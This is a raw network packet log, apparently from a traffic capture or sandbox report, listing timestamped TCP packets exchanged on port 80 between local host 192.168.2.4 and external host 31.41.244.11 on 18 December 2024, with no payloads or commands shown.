Dec 18, 2024 17:08:13.995050907 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.995723009 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.995847940 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.995903015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.996804953 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.996857882 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.996953011 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.997005939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.997982025 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.998043060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.998111963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.998164892 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:13.999427080 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.999540091 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:13.999602079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.000685930 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.000752926 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.000895023 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.000952005 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.001796007 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.001852989 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.001888037 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.001938105 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.003453016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.003532887 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.003602028 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.003791094 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.003844023 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.003882885 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.003933907 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.004676104 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.004734039 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.004801035 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.004862070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.005575895 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.005636930 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.141079903 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.141172886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.141237974 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.141614914 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.141664982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.141726017 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.142246962 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.142705917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.142756939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.142833948 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.143014908 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.143862963 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.143917084 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.144071102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.144857883 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.144917011 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.144970894 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.145023108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.145987034 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.146044016 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.146138906 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.146193027 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.147038937 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.147092104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.147238970 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.148122072 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.148175955 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.148221016 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.148272991 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.149184942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.149250031 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.149475098 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.149533033 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.150270939 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.150329113 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.150399923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.150690079 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.151386976 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.151441097 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.151485920 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.151767015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.152441025 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.152498960 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.152614117 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.152667046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.153851986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.153908968 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.153995037 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.154046059 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.154664993 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.154721022 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.154794931 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.154841900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.155657053 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.155915022 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.155976057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.156698942 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.156738997 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.156862974 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.156924009 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.157809019 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.157859087 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.158000946 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.158044100 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.158859968 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.158927917 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.159012079 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.159061909 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.160038948 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.160121918 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.160125017 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.160172939 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.161032915 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.161087990 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.161169052 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.161210060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.162101030 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.162163973 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.162205935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.162311077 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.163222075 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.163288116 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.163386106 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.163552046 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.164268017 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.164324999 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.164383888 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.164431095 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.165339947 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.165399075 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.165451050 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.165497065 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.166421890 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.166474104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.166507959 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.166555882 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.167498112 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.167642117 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.167696953 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.168543100 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.168613911 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.168705940 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.168754101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.169667959 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.169737101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.169867039 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.169953108 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.170684099 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.170734882 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.170804977 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.170852900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.171824932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.171886921 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.171920061 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.171967983 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.172933102 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.172976971 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.172990084 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.173018932 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.174067020 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.174120903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.174191952 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.174490929 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.174985886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.175041914 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.175098896 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.175214052 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.176145077 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.176259995 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.176302910 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.177140951 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.177186012 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.177268982 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.177308083 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.178231001 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.178344965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.178396940 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.179285049 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.179348946 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.179439068 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.179677010 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.180387974 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.180448055 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.180524111 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.180871964 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.181426048 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.181554079 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.181583881 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.181607962 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.182528019 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.182641983 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.182663918 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.182698965 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.183585882 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.183692932 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.183753967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.184650898 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.184722900 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.184778929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.184825897 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.185775042 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.185832024 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.185905933 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.185952902 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.186986923 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.187055111 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.187109947 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.187160969 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.188071012 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.188129902 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.188182116 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.188324928 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.188951969 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.189022064 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.189093113 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.189312935 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.190038919 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.190100908 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.190206051 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.190342903 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.191132069 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.191188097 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.191287041 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.191557884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.192229986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.192296028 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.192344904 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.192544937 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.193365097 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.193413973 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.193500996 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.193548918 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.195152044 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.195225000 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.195231915 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.195274115 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.195607901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.195657969 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.195710897 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.195758104 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.196719885 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.196769953 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.196821928 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.196871042 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.197751045 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.198000908 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.333303928 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.333390951 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.333506107 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.333791018 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.333848953 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.333935976 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.333997011 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.334896088 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.334960938 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.335031986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.335082054 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.335905075 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.336188078 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.336246967 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.337034941 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.337090015 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.337125063 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.337176085 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.338048935 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.338102102 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.338180065 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.338227034 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.339123964 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.339178085 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.339240074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.340220928 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.340271950 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.340351105 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.340399981 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.341265917 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.341332912 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.341381073 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.341429949 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.342401981 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.342467070 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.342521906 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.342573881 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.343394041 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.343558073 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.343614101 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.344508886 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.344567060 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.344619989 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.344670057 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.345583916 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.345635891 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.345705986 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.345760107 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.346689939 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.346744061 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.347117901 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.347178936 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.347737074 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.347876072 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.347940922 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.348849058 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.348910093 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.349004984 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.349062920 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.349919081 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.349983931 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.350047112 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.350100994 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.351022005 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.351089001 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.351150990 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.351213932 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.352086067 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.352144957 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.352184057 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.352237940 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.353115082 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.353177071 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.353230953 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.353286982 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.354301929 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.354365110 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.354391098 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.354444027 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.355377913 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.355492115 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.355557919 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.356380939 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.356440067 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.356462002 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.356515884 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.357420921 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.357511997 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.357557058 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.357601881 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.358508110 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.358577013 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.358725071 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.358779907 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.359570026 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.359699965 CET	80	49749	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:14.359764099 CET	49749	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:14.360640049 CET	80	49749	31.41.244.11	192.168.2.4
